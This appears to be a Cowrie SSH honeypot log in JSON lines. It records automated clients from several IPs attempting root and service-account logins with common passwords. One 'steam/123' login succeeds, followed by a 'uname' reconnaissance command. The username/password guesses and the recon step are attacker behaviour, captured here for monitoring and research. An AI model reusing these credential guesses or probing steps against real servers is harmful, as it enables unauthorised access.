{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:ed:b8:04:ba:b0:ff:d6:65:f8:40:52:3a:98:a4:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvlvPFWSwHkitDAs91PNc5xFaJrPMTm/HoGhCxe5IO4cc6UrnaisdcPSQ2iu0/G4HTsmhtxGz+yT6B+GvEewNIS7MMi39yRNLUT7OKQMeSJC+HrdJvMAHBYCm61X1wqZhYyAf3d/arbP/W+nE/ot3TC1TsykROpiPG/nkQgeSgFBFnZaL3LVvCKwQgOm7nX9f6vHTKC1EWSNsoBOOpslbWk6Cu0fcuuecWsJj8pV3g1+Kgi72yXeMV7oOoLfNgxKKxntLhRl3ZkYA9+afNWyBVyClO5+BHsT+kz5zUHoBchDmH2gRHxOXpSKa/O2tWopHWph5O9vm3xriz7sK1OZKZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.361210Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:54:41:9c:4e:20:1f:b4:ac:73:5a:7a:6b:72:b2:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuIRgaMPFhIVHD96SioW0CuzKVnzyiNcw0IV6KoJesjk069zTbxUWHvlbAnno/CRP0FbuEZCCVLA+iOqkuQS/3ATTn7BcL8VmDQs10bO78QSi0Y3IMCsp9+5DN6vK3qNOvDJnphs5gg5plO+uvEXmrnNA/8Lp8Jo9DkUenoCUOVhY8bcQtXpNiVNfkTEuUPVl8GGKLY2/N0CPSRVUMIscHkhggknsYSqcb1FycCX4CsXmBO+21bgwWY1edtrrFamefWthXI8tnu3O+0oq/QHfnieD6261MwCyOB4OlqCDLoWPxsMX/CurewkthrTCW+Ja0S9lS93ZCDTsHPrdhlvyR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:54:41:9c:4e:20:1f:b4:ac:73:5a:7a:6b:72:b2:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.450477Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:54:41:9c:4e:20:1f:b4:ac:73:5a:7a:6b:72:b2:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuIRgaMPFhIVHD96SioW0CuzKVnzyiNcw0IV6KoJesjk069zTbxUWHvlbAnno/CRP0FbuEZCCVLA+iOqkuQS/3ATTn7BcL8VmDQs10bO78QSi0Y3IMCsp9+5DN6vK3qNOvDJnphs5gg5plO+uvEXmrnNA/8Lp8Jo9DkUenoCUOVhY8bcQtXpNiVNfkTEuUPVl8GGKLY2/N0CPSRVUMIscHkhggknsYSqcb1FycCX4CsXmBO+21bgwWY1edtrrFamefWthXI8tnu3O+0oq/QHfnieD6261MwCyOB4OlqCDLoWPxsMX/CurewkthrTCW+Ja0S9lS93ZCDTsHPrdhlvyR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.454541Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.544262Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.805219Z","src_ip":"43.134.24.11","session":"922a827e7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18007,"dst_ip":"10.17.0.5","dst_port":22,"session":"85efaeddf7f5","protocol":"ssh","message":"New connection: 43.134.24.11:18007 (10.17.0.5:22) [session: 85efaeddf7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:37.350322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:37.354792Z","src_ip":"43.134.24.11","session":"85efaeddf7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:37.603728Z","src_ip":"43.134.24.11","session":"85efaeddf7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46196,"dst_ip":"10.17.0.5","dst_port":22,"session":"5736ffb9aa92","protocol":"ssh","message":"New connection: 185.236.22.41:46196 (10.17.0.5:22) [session: 5736ffb9aa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:38.112227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:38.116737Z","src_ip":"185.236.22.41","session":"5736ffb9aa92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:38.234433Z","src_ip":"185.236.22.41","session":"5736ffb9aa92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:38.345100Z","src_ip":"43.134.24.11","session":"85efaeddf7f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poiuyt","message":"login attempt [root/poiuyt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:38.598088Z","src_ip":"185.236.22.41","session":"5736ffb9aa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:39.597290Z","src_ip":"43.134.24.11","session":"85efaeddf7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:39.716478Z","src_ip":"185.236.22.41","session":"5736ffb9aa92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18008,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd7c3f9d85a","protocol":"ssh","message":"New connection: 43.134.24.11:18008 (10.17.0.5:22) [session: afd7c3f9d85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:43.089601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:43.093813Z","src_ip":"43.134.24.11","session":"afd7c3f9d85a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:43.331356Z","src_ip":"43.134.24.11","session":"afd7c3f9d85a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:44.044412Z","src_ip":"43.134.24.11","session":"afd7c3f9d85a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:45.285016Z","src_ip":"43.134.24.11","session":"afd7c3f9d85a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12093,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a9ea72efa7","protocol":"ssh","message":"New connection: 43.134.24.11:12093 (10.17.0.5:22) [session: 65a9ea72efa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:48.861194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:48.865668Z","src_ip":"43.134.24.11","session":"65a9ea72efa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:49.114587Z","src_ip":"43.134.24.11","session":"65a9ea72efa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:49.860097Z","src_ip":"43.134.24.11","session":"65a9ea72efa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:51.108583Z","src_ip":"43.134.24.11","session":"65a9ea72efa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":55143,"dst_ip":"10.17.0.5","dst_port":22,"session":"a192f7dbb99a","protocol":"ssh","message":"New connection: 43.134.24.11:55143 (10.17.0.5:22) [session: a192f7dbb99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:54.601085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:54.605764Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:54.835586Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:55.538250Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:56.052336Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:56.055987Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:56.289148Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:56.293875Z","src_ip":"43.134.24.11","session":"a192f7dbb99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44328,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c93bd42b0b","protocol":"ssh","message":"New connection: 43.134.24.11:44328 (10.17.0.5:22) [session: 24c93bd42b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:00.338725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:00.343449Z","src_ip":"43.134.24.11","session":"24c93bd42b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:00.581603Z","src_ip":"43.134.24.11","session":"24c93bd42b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:01.295470Z","src_ip":"43.134.24.11","session":"24c93bd42b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:02.536600Z","src_ip":"43.134.24.11","session":"24c93bd42b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44329,"dst_ip":"10.17.0.5","dst_port":22,"session":"f31c0a3dca38","protocol":"ssh","message":"New connection: 43.134.24.11:44329 (10.17.0.5:22) [session: f31c0a3dca38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:06.144503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:06.149822Z","src_ip":"43.134.24.11","session":"f31c0a3dca38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:06.538736Z","src_ip":"43.134.24.11","session":"f31c0a3dca38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:07.251009Z","src_ip":"43.134.24.11","session":"f31c0a3dca38","protocol":"ssh"}
